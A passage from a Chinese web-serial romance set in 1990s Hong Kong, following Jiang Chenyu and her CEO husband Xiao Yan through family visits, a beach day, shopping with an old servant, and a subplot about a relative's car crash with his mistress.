萧砚他们在二楼,成家客房布置典雅,青色的木地板擦拭的一尘不染,右手靠墙的紫檀木小茶几上摆着瓜果,一整套实木沙发铺着带花纹的羊毛地毯,临窗阳台下有处湖泊,窗前的花瓶里插着玉兰花,扑簌簌地晃动着花香,还有专门给萧砚办公的书房,可以说非常贴心了。 外面花园里搭了个葡萄架,上面爬满了绿油油的葡萄叶,还种了几十棵果树,有桃树、梨树、石榴树。 据说是过世的成老夫人种下的,成老夫人从小就喜欢舞刀弄枪,嫁到成家后那些刀剑什么的不能碰了,又不喜欢捯饬花草,偏偏喜欢种些蔬菜瓜果,她命格好有帮夫运,一嫁到成家,成老爷子就开始发迹,在圈子里传为佳话。 萧砚的确很忙,午宴结束,裴特助抱了一大堆文件过来,二人进了书房。 “总裁,这是企划部昨夜加班完成同成氏集团的合作方案,您过目。” 萧砚稍稍浏览一遍,点出其中几处不足。 “这几点需要改进……” “……” 书房外,姜沉鱼凭栏而坐,望着外面满湖的池水,不时有锦鲤跃出湖面,发出泠泠水声。 阿秋洗了一盘枇杷放到她身边,还有荔枝跟切好的香瓜、菠萝。 成家佣人送了许多水果来,阿秋一股脑切了,做成果盘端上来,她着急向少夫人汇报消息呢。 姜沉鱼见那一盘水果大杂烩也没说什么,拿起雕花小叉子叉了块香瓜,边吃边听阿秋滔滔不绝讲八卦,“跟在成老爷子身边的是家里五姨太,五姨太手段十分了得,十七岁就跟了老爷子,成老爷子有五房姨太太,只有五姨太当年进门的时候是用龙凤花轿抬进门的,进门第二天就把成家原配夫人气到吐血。” “五姨太给成老爷子生了三个儿子,都进了成氏集团当董事,这几年一直都跟成家大少爷打擂台………” 姜沉鱼听到这心里,心境豁然明朗,怪不得成文滨对上五姨太那副模样,要是换作她谁敢欺负姜奶奶一根手指头,早就掴耳光过去了。 阿秋又讲,“成家五姨太最忌惮的成家大少爷,在外很拿面子,回到家中就收敛些。” 姜沉鱼对此毫不意外,成文滨可不是吃闲饭的大少爷,手握实权就是不一样,萧砚池那厮不就是这样,二房三房才不敢造次。 阿秋嘴巴利索,还不忘洗手拿起一串黄澄澄的枇杷,给少夫人剥枇杷吃。 枇杷果肉鲜嫩多汁,入口清甜,姜沉鱼吃了枇杷,又吃荔枝,连带着也让阿秋一起吃。 主仆二人消灭了小半,还剩大半堆在桌上没动。 姜沉鱼樱唇粉润,吃下最后一块能吃下的香瓜,阿秋正对着桌上的回水果犯愁,就见少夫人不紧不慢起身,洗手切了盘水果送进了书房。 几秒钟后,裴特助就拿着文件夹一脸姨母笑走了出来,顺便带走了阿秋这个傻丫头。 阿秋还要挣扎,“你做什么,我要等还等少夫人。” “等什么等,快点走。” 裴特助拎着阿秋出了客房。 书房里姜沉鱼被迫坐在某人腿上,听见外面关门声,真是欲哭无泪。 她就是进来送盘水果,怎么就被……… “小鱼,专心点。” 柔软的唇被男人擒住,萧砚白色衬衫妥帖,柔软轻薄的丝绸质地,能隐约看到他流畅的腰线,两人毫无缝隙地贴合在一起。 姜沉鱼睫毛轻颤,轻呼一声,书房没了声。 “……” 午后,外面淅淅沥沥地小雨停了,沙滩大海沐浴在清爽的空气中,朱莉跑来约姜沉鱼去沙滩散步。 姜沉鱼忙不迭拎上水桶、小铲子跟她出了门。 萧砚那厮就是个神经病,上午送水果进去,莫名其妙抱着她不撒手,还…… 姜沉鱼被某人吻怕了,巴不得躲出去走走。 成家的车子开出去,姜沉鱼很快就听到海浪拍打沙滩的声音,目及之处全是白色的细沙。 朱莉拿着从阿婆买来的竹篮子,跟姜沉鱼一起,两个菜鸟学着岛上阿公阿婆模样在海滩上抓螃蟹和虾。 或许是没人捉或是天敌少的缘故,海岛上的海螺、螃蟹行动起来慢的可爱,人家提着篮子、木桶过来抓它们了,这些家伙儿还慢吞吞在浅水区或者沙滩上往前爬,十足十的不慌不忙,有的甚至自个儿往篮子里钻,这样送上门来的美味,她自然毫不领情笑纳,没多会儿功夫,提来的小竹篮就装的满满当当了。 傍晚时分,夕阳西下,落日的余晖散落下一片玫瑰色的金光,海滩上潮水随着天边云色渐渐褪去,踏着风浪归来的渔船,悠悠晃晃靠岸,颇有种渔家唱晚的舒适跟悠闲。 海岛上晚风习习,有早归的渔民在船上挂了马灯,晚霞染红天际,朱莉戴着渔夫草帽躺在沙滩上欣赏美景。 姜沉鱼娇气,天还没黑呢,她家萧总裁就亲自来接人了。 第33章 第33章感谢订阅 雨后天气晴朗,海边浪声涛涛,碧海蓝天总能让人心情舒畅,连带着咸湿海风也香甜起来。 朱莉喜欢沙滩,要不是有客人在,她都要在沙滩上打滚了。 这片海滩成家私人海滩,修建了休息室,周围有专人把守,等闲老百姓根本进不来。 姜沉鱼不喜欢暄软的沙滩,体验过赶海的乐趣,就在休息室躺椅上吃草莓蛋糕,喝咖啡。 休息室有两位糕点师傅,也有成家佣人侯着,餐桌玻璃花瓶中,插了几株丹桂,幽香散了满室,远处平静的海面上几艘轮船慢慢悠悠地经过,翻出阵阵海浪。 朱莉在沙滩吹了一身海风,觉得没过瘾,跑过来撺掇姜沉鱼陪她去骑马。 “我家后院养了十几匹好马,都是从大不列颠空运来的。” “我家的马都是好马,小鱼你不想去看看?” 朱莉的性格跟姜沉鱼有三分相似,两人相处非常轻松惬意。 “不去,今天太累了,我要回去睡美容觉。” 姜沉鱼断然拒绝。 “睡什么睡,晚上再睡!” “我家有匹黑马,特别不好亲近,上次我骑马差点儿摔伤脚,你就帮我一次去看看小黑吧。” 朱莉三请四请,总算把姜沉鱼这条躺平 的咸鱼说动了。 朱莉高兴了,偏头看姜沉鱼慢条斯理的吃手上的蛋糕,旗袍下的一抹细腰袅袅娆娆,樱唇雪肤,忍不住伸出纤白指尖戳了戳她细腰,感叹连连,“你吃这么多也不胖,是不是有什么保持身材的好办法?” 朱莉是易胖体质,多喝几口咖啡都要发胖。 姜沉鱼很耿直,“没办法,天生的。” 这话是真话,她从小到大就没胖过。 吃多少也不胖。 “你这娇媚身段,我要是你家那位早把你吃干抹净了。” “一天一口,鲜嫩可口,百吃不厌。” 鲜嫩可口的姜沉鱼:“……‘ 朱莉叉了块草莓蛋糕,塞进嘴里,随意往沙滩上到了扫一眼,不知道看到什么东西,非常识趣站起来,笑嘻嘻道,“小鱼,我就不当电灯泡打扰你们过二人世界了,拜拜。” 朱莉端着放蛋糕的小碟子溜得飞快。 “朱莉你跑什么?” “萧砚又不在这,哪来的二人世界?” 她不说话还好,一说话朱莉留得溜得更快了,好似后面有什么豺狼虎豹追赶。 姜沉鱼刚想说句“莫名其妙”,休息室外突然站成了一排的保镖。 姜沉鱼睫毛轻颤,该不会是萧砚池那厮来了吧? 这时间他不是该在成家客房处理公务吗? 好的不灵,坏的灵。 姜沉鱼想装鸵鸟,可惜某人不给她机会,休息室的门被打开,萧砚仍旧是一丝不苟的黑西装白衬衣,法式的丝质衬衣,周身萦绕着一股淡淡的木雪松的微冷气息。 “总裁。” 门外保镖齐声道,又齐刷刷对休息室里的姜沉鱼恭敬有加。 “少夫人好!” “……” 整得跟**见大嫂一样。 姜沉鱼把目光挪向某“**头子”,察觉到她看过来,萧砚淡淡撩起眼尾,轻四目相对的瞬间,有一刹那的压迫感。 姜沉鱼早习惯了这种压迫感,十几岁第一次见萧砚就这厮就面无表情,冷峻淡漠,好像别人欠他八百万一样。 她抬起脸迎上他的视线。 “工作忙完了?” 萧砚在她身边坐下来,轻轻嗯了声, 姜沉鱼“喔”了声,成家佣人敲敲门,送来新做好的糕点,热腾腾的蝴蝶酥跟海棠糕。 姜沉鱼捏着雕花叉子兴致勃勃地品尝美食,发现萧砚池盯着她看,想到他的隐疾,小心翼翼安慰,“糕点很甜的,有些齁嗓子。” “不如营养剂好喝。” “下次我陪你契一起喝营养剂怎么样?” “好。” 萧砚修长身躯靠坐在椅子上,姿态惬意从容,看着一派正经,说出来的话可不正经。 “下次你喂我喝?” 姜沉鱼:“……也不是不可以。” “那就是可以了。” 姜沉鱼觉得这话题不能继续下去了,要是再讲下去,萧砚这家伙心思狡诈,谁知道会忽悠出什么话来。 姜沉鱼闭紧嘴巴,萧砚也不多话,二人静静欣赏海景,远处海面被正午阳光照得如瑰丽多姿,海滩上有渔民撑着船回港,海鸥展飞,颇有种渔舟唱海的美感。 “你看今天的海面是不是很美?” 萧砚认真看了看海对面的,只觉得海平面像只流蛋黄的大鸭蛋,但他没这么说,只是点点头。 “嗯,很美。” 夫妻俩欣赏完海景,萧砚回别墅跟成文滨谈生意,朱莉拉着姜沉鱼去远后院看马。 她们想骑马来着,无奈刚下过雨,跑马场泥泞坎坷。 成老爷子担忧摔着姜沉鱼,坏了跟萧家的生意,故而没答应。 下午两点,萧家一行人坐上私人游艇回了港城,三点半,送别姜家一家人回江城。 临行前,众人依依惜别,直到飞机的轰鸣声划破天际,姜沉鱼恍然间有些伤感,下次见爷爷奶奶不知要到何年何月了。 为了摆脱这种离别愁绪,姜沉鱼要带阿秋去跑马地98号探望许妈。 萧砚恰好回集团,顺路送她们一程,港城街头繁华忙碌,司机走了一条靠近码头的街道的道路,街道两旁林立着各色商铺,一眼望过去,叫卖声、还价声,街上腾起的一团团起锅的白气,夹杂着一弄堂的馒头、钵仔糕、酱鸭、的热闹劲儿, 加长宾利车的牌照太过显眼,引来了狗仔偷拍,与此同时一辆红色法拉利跑车从路边驶过,车上的中年男人一身名牌,手腕上的钻石手表更是价格昂贵,副驾驶坐着位妙龄红发女郎,二人举止亲密,一看就不是普通关系。 “阿林,那阔佬是萧长昌!” “搞咩啊,你这四只眼睛准不准啦?” “准!萧长昌包二奶追不追?” “那当然追啊!” 跟拍的两名狗仔嘀嘀咕咕,悄悄摸摸开车跟在法拉利后面,他们这些小报记者就靠偷拍豪门新闻八卦来养家糊口,有劲爆的八卦绯闻自然不会放过。 萧长昌开着车,没发现身后跟踪的狗仔。 近两月来,莲花岛赌场生意出奇好,萧长昌贪财如命,直接绕过岳家明,私自开了两处赌场,专门招待中等富商,里面靓女靓仔如云,每日赌钱作乐,只要一进去便让人乐不思蜀,忘乎所以。 没有岳家明插手,萧长昌赚得盆满钵满,志得意满,买了数辆豪车,又包二奶又玩男模,玩得花里胡哨。 港城豪门里也有少数巨贾癖好男色的,他们明面上有太太有儿女,背地里乱玩一通,叫人大跌眼镜。 萧长昌只是尝尝新鲜,玩过男模之后还是更爱靓女,前不久刚包了个身材火辣的舞女,舞女叫艾米,生的风情万种,长腿**,是个天生的尤物。 萧长昌喝了酒,兴致上头,开着法拉利跑车载着艾米去兜风。 萧长昌开车,艾米一头卷发披散在背后,一条包臀裙勾勒得身材凹凸有致,法拉利上了盘山公路,车辆稀少,她点了根香烟,艳红的唇瓣间,轻雾旖旎而出,格外勾人心魄。 萧长昌看得心头发痒,一边开车一边抱着她折腾。 “哎呀,萧生注意交通安全啦。” “注意什么,放心路上无人的。” “萧生生意亨通,在生意上上大杀四方,驾车也这么帅,真是威风八面。” 艾米眼波横掠过来,在萧长章耳边吐气如兰,哄得他开怀大笑,一开口就要奖励她。 “好,说的好!” “我在深水完湾有套公寓,改天送给你好了。” 萧长昌出手大方,艾米听罢,眼眸微微绽放精光。 港城屋少人多,好多人一家好几口挤在公屋过活,艾米就在公屋长大,就算是深水湾的一套公寓,以她现在的薪水,跳一辈子舞也买不起,当了老男人二奶倒是轻松到手了,真是讽刺。 艾米心花怒放,更加卖力“伺候”萧长昌。 俗话说乐极生悲,二人太过胡闹,一个没注意,法拉利撞在盘山公路的栏杆上。 萧长昌和娇滴滴的艾米坐在法拉利车驾驶室里看着前面冒烟的发动机,吓的屁滚尿流。 “萧生,发动机冒烟了!” “快下车!” 萧长昌和花容失色的艾米生怕冒烟的法拉利车一个不走运爆炸了,两人手忙脚乱想要打开车门逃下去。 结果车门不知道怎么的,连续按了好几下都毫不反应,妖艳的艾米顿时对着萧长昌哭哭啼啼骂起来: “都是你的错!要不是你非要出来开车,刚才就不会撞上护栏了,快点儿把门打开。我不想死啊!” 萧长昌本来就因为车门打不开着急上火,这会儿又听见边上的艾米一个劲儿聒噪,心里的火气一下子冒了出来,顺手飞过去一个大耳朵瓜子,打的艾米脑袋嗡嗡直响: “他妈的,给老子闭嘴! 吃老子的,喝老子的,还敢在这里乱讲话,信不信老子断了你的生活费!” 他刚刚进门,身材高大结实,穿着一套深黑色的衣裤,面容狰狞。 美艳艾米挨了一巴掌顿时不敢说话了,扫了一眼撞在 栏杆上冒烟的法拉利跑车,只能窝在车座上小声呜咽。 萧长章处理完事故,傍晚九点钟才回到半山区大宅,一回来就大发脾气,把女佣端上来的宵夜给砸了。 第34章 第34章感谢dingyue 萧长昌在客厅摔摔打打,大太太跟萧佳怡母女午睡被吵醒。 萧佳怡穿着睡衣下楼,站在楼梯蜿蜒处,她身上的睡衣有些宽,一头栗色长卷发,显露出嫩白纤细的曲线,问:“爹地,您怎么了?” “怎么了,” “大晚上的你穿的什么衣服!” 小小年纪不学好,简直丢尽了萧家的脸!” 萧长昌损失了一辆法拉利跑车,回来看见平时疼爱的女儿也眼不是眼,鼻子不是鼻子。 萧佳怡挨了骂,眼中含泪,大太太有自己的眼线,丈夫在外面胡搞,她都当不知道,今天这事情闹得太大,交通署来了电话,怕是瞒不住。 大太太气归气,关键时刻还是要跟萧长昌一条心,安抚了几句。 萧长章气呼呼上了楼,萧佳怡被她父亲几句话气得半死,她穿的睡衣怎么了,总比外面那些二奶强! 跑马地98号庄家老宅沐浴在耀目金灿的阳光中,乳白色的半墙上爬山虎随风摇曳,许妈买菜回来路上遇见来探望的姜沉鱼跟阿秋,欣喜的不得了。 “小小姐,你来家怎么不提前说一声。” “临时起意来看看,许妈别见怪。” 姜沉鱼说得客气,她知道许妈的脾气,在庄家当了二三十年的佣人,面对旧主人家的后代依旧把自己放低姿态。 要是姜沉鱼态度太过于亲切,许妈反而会不习惯。 小小姐拿自己当家人,她却不能忘记本份。 “小小姐这是哪里的话,您回自己家哪能见怪?” 许妈赶紧擦了刚在菜摊择菜的手,开门迎接。 姜沉鱼来过庄家老宅,一进门看到花园的花草,客厅成套的黄花梨木家具跟柔软舒适的沙发,她整个人都由内而外放松下来。 相比奢华宽广的萧家老宅,这桩宅院才是她真正的家。 许妈忙着切点心,倒红茶,客厅地板上铺着长长的羊毛地毯,花样繁琐,一看就很昂贵。 姜沉鱼盘膝看书,阿秋在边上蹑手蹑脚不敢动。 姜沉鱼抬眸笑她,“阿秋,做什么呢?” “怎么不坐下?” 阿秋很耿直:“少夫人,您外公家地毯陈设都不一般,肯定老值钱了,我小心些,别给弄坏了。” “那你就一直站着?” “嗯嗯,我以前在三房经常站着,站上一天都不带累的!” 阿秋挺直腰杆站在没铺地毯的木樨花旁,死活都不愿意挪步子。 姜沉鱼:“……” 姜沉鱼劝不动她,也就不劝了。 没一会儿,许妈端着新切好的蛋糕点心、红茶过来,阿秋很机灵的去帮忙。 许妈仍旧穿着一身深蓝色粗布斜襟衫,头发挽成了髻,打扮很朴素老气,现在港城上了年纪的阿婆也很少这么打扮了。 姜沉鱼抿了口蛋糕,想着等会儿找借口去逛街,请许妈一起去逛街,给她买几套时髦衣服穿。 阿秋也是个吃货,许妈新手做的蛋糕很可口,姜沉鱼吃完蛋糕,拍拍手说要出去散步,顺便给阿秋使了个眼色。 阿秋心领神会,过去挽着许妈胳膊,热络道,“许妈,少夫人要去逛街,你也一同去吧。” 许妈慈眉善目,知道阿秋是小小姐夫家的佣人,她挺喜欢阿秋的。 “小小姐,你们去逛街,我在家准备晚餐。” 许妈刚买了新鲜鱼肉蔬菜,说罢就要去系围裙,姜沉鱼拦住她,嗓音清甜,“许妈,我难得来一次,咱们出街去,去吃吃咖啡,看看电影,买两套衣裳鞋袜。” 许妈年轻时也常跟随庄心晴逛街购物,庄心晴娴静优雅,也摩登时髦,百货公司的皮草、旗袍、珠宝都购买定制款,什么法式毛呢风氅、紫貂大衣、珐琅手表,那时候小姐穿戴在身上真是风华绝代。 许妈想到这,不由得去看树下赏花的姜沉鱼,下午阳光从枝叶缝隙处透进来,落在她脸上,越发显肌肤赛雪,樱唇含丹。 小小姐长得真像小姐。 许妈怕再瞧下去就要落泪了,稍微换了套干净体面衣裳,跟着姜沉鱼她们出了门。 姜沉鱼她们先去了商场,萧氏集团名下有好几家商场,都坐落在繁华热闹的中环。 姜沉鱼给许妈买了三套旗袍,价格中等,不算太贵也不很便宜,很适合日常出门穿。 阿秋也得了件梅花锦绣缎旗袍,这还是她第一件旗袍呢。 阿秋喜滋滋摸着旗袍,想着以后要好好干活,照顾好少夫人。 许妈开心之余,不免担心姜沉鱼在萧家过不好,拉着阿秋问了许多问题,得知小小姐过得很好,长长舒口气,在心里念了句“阿弥陀佛。” 大慈大悲的菩萨,一定要保佑我家小小姐长命百岁,欢乐无忧。 阿秋也跟着在边上嘀咕,姜沉鱼听力敏锐,听见这话,樱唇微抿,笑意从双颊绽开。 不管怎么说,有人惦记自己总是让人心情愉悦。 从百货商场出来,姜沉鱼带着许妈跟阿秋乘电车,打算去吃西餐,有电车上有几个喝醉打屁的古惑仔。 这些古惑仔不务正业,见了漂亮女郎都要喊两句“靓女”,调戏两句。 姜沉鱼容貌出众,身边只跟着老妈子和女佣人,怕是要遭人搭讪,只可惜她们身后跟着两个高大精壮的黑衣保镖。 黑衣保镖往旁边一站,几个古惑仔只觉得牙齿发颤,慌不择路溜走了。 九十年代大陆西餐厅以前大都是华侨饭店,专门用来招待外宾的。 后来改革开放,华侨饭店保留下来,改成了西餐厅,主打的三大招牌,无非就是老三样—意大利面、牛排跟罗宋汤。 时髦的都市女郎再点一瓶红酒,这就是最顶级的西餐了。 这一点就与港城不同,港城西餐厅不少,大大小小遍地开花。 许妈虽然住在港城,但她生活节俭,平时很少吃西餐,仅有的几次也是陪庄心晴吃的。 至于阿秋她家住公屋,柴米油盐压在身上,哪来余钱吃西餐。 阿秋没吃过西餐,觉得又贵又难吃,哪有自家烧的菜实惠? 去西餐厅的路上,她偷偷跟姜沉鱼吐槽,“少夫人,那牛排不就是寻常吃的牛肉?” 姜沉鱼点头,“没错。” “哦哟,那个牛排小的,牛见了也得哭一场!” “你不想吃?” “吃!少夫人要保持身材,您吃不下替您吃。” 一路上有阿秋插科打诨,姜沉鱼和许妈路上也不沉闷,就是跟在后面的黑衣保镖嘴角微抽,这跟着少夫人的丫头就是个吃货。 长得挺讨人喜欢的吃货。 不知道为什么黑衣保镖冷酷的脸庞有些泛红。 姜沉鱼她们没注意到这些,乘旋转扶梯去了二楼西餐厅。 西餐厅老板是位华侨,餐厅门口有老外讲英语,服务员英语一般,领班又不在,金发碧眼的老外在自己面前叽里呱啦一顿讲,只听懂了几个单词,愣生生出了一头的汗。 姜沉鱼停顿一下,那老外比手画脚的解释,说牛排要七分熟。 服务员还在擦汗,一对兄妹蹬蹬蹬跑过来,哥哥梳着西装头,穿着背带裤,妹妹穿着价值不菲的洋裙,身后跟着保姆,一看见就是富贵人家的孩子。 兄妹俩用一口流利的英语给双方解了围,服务员和老外都松了口气,服务员拍了下脑门,感激的看了看圆圆,赶紧去后厨安排七分熟的牛排。 老外则竖起大拇指,连连夸赞兄妹俩,“smart,sosmart!” 哥哥礼貌回了句谢谢,迁着妹妹的手回到自己座位。 餐前小插曲一晃而过,这家西餐厅别开生面,不仅有西餐,也有中餐,来客如云,衣香鬓影,中餐最经典的就是烤鸭和荷叶饼。 色泽红艳的烤鸭切成大小均匀的片,卷在薄如蝉翼的荷叶饼里,热乎乎一口送入口中,那滋味简直能香掉舌头 。 姜沉鱼吃了七分饱,许妈也有八分饱,脸蛋圆圆的阿秋那把肚子吃圆了。 外面天色光亮,时间也早,西餐厅距离跑马地98号只有四站路,她们决定走路回家。 跑马地住宅环境清幽,寸土寸金。 在解放前便是达官贵人住的,解放后,六二年形势不好,这片别墅的主人有许多都是大陆来的富商。 庄家就是其中之一,别墅区两边洋溢着西方风情的白色小洋楼,寻常人来了只怕眼睛都不够用了。 萧砚临去公司前说五点钟来接人。 姜沉鱼垂眸看手腕上的小巧钻石手表,马上四点了,剩下一个小时的时间,今天天热,她打算回去吃许妈做的草莓碎冰。 别墅区虽然清幽,也是有车来回穿梭的,庄家老宅门前,突然跑出个三四岁的小女孩,小女孩穿着的红色小皮鞋,跟只小蝴蝶一样翩翩起飞,手里举着只旋转的木头风车。 姜沉鱼认出那是刚才餐厅见过的兄妹,秀眉蹙起。 小女孩身边怎么没人跟着? “那好像是前面蔡家的小姐。” 许妈认出来小女孩来,港城蔡家是做码头生意的,在黑白两道都很有背景。 阿秋惊呼,“少夫人,那小姑娘要撞车了。” 就在路边拐过来一辆汽车,眼看着小女孩往路中间跑,姜沉鱼跟许妈想去救人,黑衣保镖眼疾手快把小姑娘抱到路边,小姑娘见面色微冷的叔叔,或许是吓着了,憋憋嘴要哭。 姜沉鱼蹲下来哄着小女孩,许妈给吃糖,阿秋帮她转风车,小女孩这才不哭了,姜沉鱼叮嘱道,“小姑娘,你妈妈呢,在街上不能乱跑,太危险了。” 小女孩眨眨眼,还没说话,后面跑过来个保姆,保姆一脸慌乱,看到小女孩安然无恙,才按下心来。 听说是姜沉鱼他们救了自家小主人,赶紧道谢。 “太谢谢太太了,我们夫人吩咐给三小姐泡牛奶,我一扭头二小姐就找不见了,要是二小姐出了事,我也不活了。” 保姆阿姨抹着眼泪,看得出是真心对小女孩好。 姜沉鱼眼眸微动,她好像听萧砚提过,萧家这位太太是继母。 “没事,以后注意些就好。” 别人家的家务事,外人也不便插手。 保姆连连点头,再三道谢领着小女孩走了。 小女孩乖巧牵着保姆阿姨的手,奶声奶气道。 “谢谢漂亮姐姐。” 姜沉鱼忍俊不禁,她都嫁人了,小姑娘嘴可真甜。 风波过后,许妈一回家就忙着做草莓碎冰,家里用的是新鲜草莓汁,而不是草莓粉,做出来的碎冰很鲜凉。 阿秋吃得笑眯眼,门外的黑衣保镖也有份。 姜沉鱼吃着草莓碎冰,走到花园前摆放的沙发椅上,靠坐下去,阿秋拿了一碟香甜栗子粉蛋糕递过来,忽然冒了句,“少夫人,您是不是想二少爷了?” 正在吃碎冰的姜沉鱼差点呛住。 “看来真想了。” 阿秋还安慰她,“现在四点半了,二少爷一会儿就来接您了。” “……” 五点钟,萧家的劳斯莱斯准时出现在庄家老宅前。 裴特助下车,毕恭毕敬拉开了车门,“少夫人,请。” 姜沉水眸盈润,搞不清楚金主大老板搞什么事,又是换车又是请她上车的。 算了,上车就上车。 姜沉鱼姿态淡定,刚进车不小心扭了下脚,一个俯冲,冷不防撞入萧砚坚庭的胸膛,惊得猛然抬头。 红唇不经意间,滑过那抹冷锐性感的喉结。 第35章 第35章感谢订阅 这一切发生的太快,姜沉鱼根本来不及反应,前面马路维修,车辆颠簸了两下,她又撞到某人怀里,被抱了个满怀。 阿秋在车外一惊一乍,“哎呀,少夫人撞到鼻子了。” “我去看看。” “看什么看,跟我到后面车上去。” 裴特助拽着阿秋往后面停着的轿车去了。 “少夫人需要看医生。” “什么医生,我们总裁就是最好的医生。” “……” 姜沉鱼小脸染上绯色,娇艳好似七月的石榴花,她若无其事坐起身,打算随便说两句话蒙混过关,“刚才车颠簸了几下,这路况真是不好。” “这段路地面改造,过段时间就好了。” 萧砚薄唇往上扬了扬,好似刚才一切都没有发生过。 他不说破,姜沉鱼也乐得自在。 一路无话,十分钟后劳斯莱斯驶进跑马地老宅,萧砚下车去了书房,裴特助抱着一堆文件跟在后面。 老宅外墙用漆黑铁门隔开,院子里栽种的红色蔷薇花如瀑布般绽放,隔着院子便能闻到花香。 后院草坪上落叶太多,生叔指挥着园丁清扫落叶。 姜沉鱼穿着旗袍,身姿聘婷,阿秋在旁边念叨,要喊家庭医生来给少夫人检查检查。 阿秋看着温良,实际是个倔丫头。 姜沉鱼也不跟她辩解,只悠闲欣赏秋日美景。 儿媳妇大半天没在家,郭玉琴在家很是寂寥,王妈在二楼阳台探守,瞧见楼下的少夫人,忙下楼汇报消息。 “太太,少夫人回来了。” “小鱼回来啦?” 郭玉琴放下手里的美妆杂志,笑容满面道,“吴妈去厨房拿新做好的点心,再榨两杯鲜果汁。” “好,太太。” “车嫂,再去拿几匹软缎来,要颜色鲜亮的,别忘给设计师打电话,让她来家里。” “嗳。” 姜沉鱼一进门,被婆婆喊去选绸缎料子,说是明天去参加蔡家举办的晚会。 蔡家? 姜沉鱼心下微动,想起前面救下的那个小女孩,眸光流转,“妈咪,蔡家举办什么舞会?” “蔡家太太生了位千金,刚满百日,算是百日晚宴。” 郭玉琴选了块月白绣牡丹花的软绸,给姜沉鱼讲蔡家的人际关系。 “蔡家啊,以前也不是什么大户人家,他家靠着货运船舶发家,船舶物流极为赚钱。港城码头帮派跟几户豪门都盯着这块肥肉。蔡家老太爷前年生病,家里几个小老婆生的儿子卖了手里股份,打算瓜分家产。 幸好蔡家大儿子从英国回来,清理门户,又娶了位有英国贵族血统的太太,这次力挽狂澜,拯救了家族企业,举办晚会的就是这位蔡太太。” 蔡太太是混血儿,生母曾在法留学,遇见某子爵之子,结婚生下女儿,后来感情不和离婚。 蔡太太虽然父母分开,却颇得祖父母疼爱,其祖父是英国议员,有这层关系,蔡家的船舶生意才会屹立不倒。 “这软缎不错,镶白玉扣,我家小鱼身段这么好,穿上绝对是光彩夺目。” 郭玉琴拿料子往儿媳身上比,选完旗袍又选高定礼服跟珠宝首饰,忙得不亦乐乎。 婆婆拿什么,姜沉鱼并不盲目接受,她有自己的穿衣风格,太浮夸的首饰衣服真是欣赏不来。 好在郭玉琴跟她眼光相似,选的珠宝首饰都不错。 郭玉琴没有女儿在,就两个儿子,孙女还小,这会儿总算体会到打扮女儿的乐趣。 豪门宴会就是场没有硝烟的战场,各路贵妇名媛争奇斗艳,看谁能拔得头筹。 郭玉琴给自己挑了数套旗袍,其中最显眼的是一套葡萄紫绣金线海棠花的旗袍,走雍容华贵路线,很适合晚会穿。 傍晚萧长章散步归来,看到容光焕发的妻子,直言对她的爱又多了一层。 郭玉琴开心,让佣人放了唱片,夫妻俩执手跳起了华尔兹。 老宅佣人对此习以为常,姜沉鱼这个儿媳妇鼓掌起哄,萧茗跟萧甜两脸呆滞。 没办法,兄妹俩年岁尚小,没有那么厚的脸皮。 晚餐后,姜沉鱼回小楼沐浴,休息。 郭玉琴晚饭只吃了几口,回了居住的花园洋房享用点心。 萧家老宅的花园洋房装饰古朴,全然没有家族辉煌的富丽堂皇,只有欧式盘旋的楼梯跟外墙怒放的蔷薇花 相得益彰。 郭玉琴坐在一楼客厅的木沙发上,王妈端了牛奶跟豆黄包来当点心。 豆黄包是广式点心,入口松软香甜,奶香味十足。 窗外月光透过窗户倾斜而下,蔷薇花香也跟着飘了进来。 郭玉琴今天高兴,跟王妈说了些以前的往事,说起二太钟莉进萧家门,她意味深长道,“人心呐,是最难看透的,不要对别人乱发善心,救助的是豺是狼,谁又能说的清。” 王妈义愤填膺骂道,“那个狐狸精,那时候装的楚楚可怜,老夫人心善可怜她,让她随身伺候,没想到伺候到老太爷床上去了!” “呸,狼心狗肺的狐狸精!” 当年钟莉唱花旦,也算个名角儿,她长相惊艳,身材袅娜,唱戏起来叫人心里酥软,引得几个富家大少争相吃醋,甚至大打出手闹出了人命。 钟莉被出事的富商整的走投无路,跪求叶秋月救她,叶秋月心善,把人带回了老宅。 后来某天,钟莉居然从萧老太爷房中衣衫不整的出来。 温婉的叶秋月跟萧老太爷大吵一架,隔月,钟莉成了萧家的二姨太。 这可不是条会跳起来咬人的白眼狼? 当年要不老夫人看护,叶莉这个白眼儿狼早在吃人的旧社会丧命了 * 姜沉鱼不知道老一辈的恩恩怨怨,倘若知道了,也会拿瓜子坐下来静听。 她回了小楼,阿秋放好了洗澡水。 姜沉鱼痛痛快快泡了澡,换上睡衣,浑身香喷喷的,困意上头去睡了。 卧室的被褥刚刚换过,淡紫色锦缎被子,躺下去如云朵般轻盈。 姜沉鱼没几分钟就睡着了。 阿秋见少夫人睡下了,蹑手蹑脚回了自己的小房间,诺大的套房里亮着两盏柔和的台灯,姜沉鱼如玉手腕上的翡翠玉镯莹莹润亮,似乎萦绕着丝丝泉水。 萧砚忙完工作,回来已经是十一点半,裴特助跟在后面,唠叨着总裁别忘了喝营养剂。 “总裁,您不能忙起工作来就不顾身体。” “身体最重要,一餐饭都不能落下。” “您要是不爱喝这种口味的,我打电话给营养团队让他们换口味。” “不用了。” “你太聒噪了,小点声别吵醒她。” 萧砚捏了捏眉心,矜贵英挺的面庞看不出什么情绪,只视线一直放在床上那道纤细的身影上。 别吵醒她? 吵醒谁? 裴特助一时没反应过来,看到灭灯的卧房,登时恍然大悟。 夜深了,少夫人已经歇下了。 “总裁,那我先走了。” “嗯。” 裴特助麻溜滚出卧房,开车回家了。 没了聒噪的裴特助,姜沉鱼睡眠更加香甜,翻了个身继续睡。 萧砚洗完澡,上床歇下,清浅呼吸声轻柔地拂过耳畔。 他无声勾了下唇,灭了最后两盏台灯。 室内一片漆黑姜沉鱼美美睡了一觉。 翌日清晨,晨曦熹微,姜沉鱼一早睡醒,推开玻璃窗户,就可以看见庭院高大的桂花树上有喜鹊啼叫。 今天的早餐是鸡丝面、虾饺烧卖、蟹肉蒸包、米粥跟下饭小菜。 姜沉鱼胃口好,她早起洗漱的时候,远看见萧砚立在阳台抽烟,烟雾缭绕中,似乎有什么心事。 萧砚从不会在室内抽烟,这一点很绅士。 姜沉鱼特别讨厌闻二手烟,萧砚洗手归来坐下,她好心问一句,“最近公司是不是有什么烦心事?” 她本意是想开导萧砚让他心情好些。 没想到萧砚笑了下,捻起公共筷夹起一个蟹黄包递到她面前,“其实有件事我们现在可以做一下?” 姜沉鱼:“……” 这话怎么听都不像是好话。 她安静吃饭,当没听到。 萧砚轻笑出声,慢条斯理开口,“小鱼,昨天说好的今早上你喂我喝营养剂。” 姜沉鱼:?! 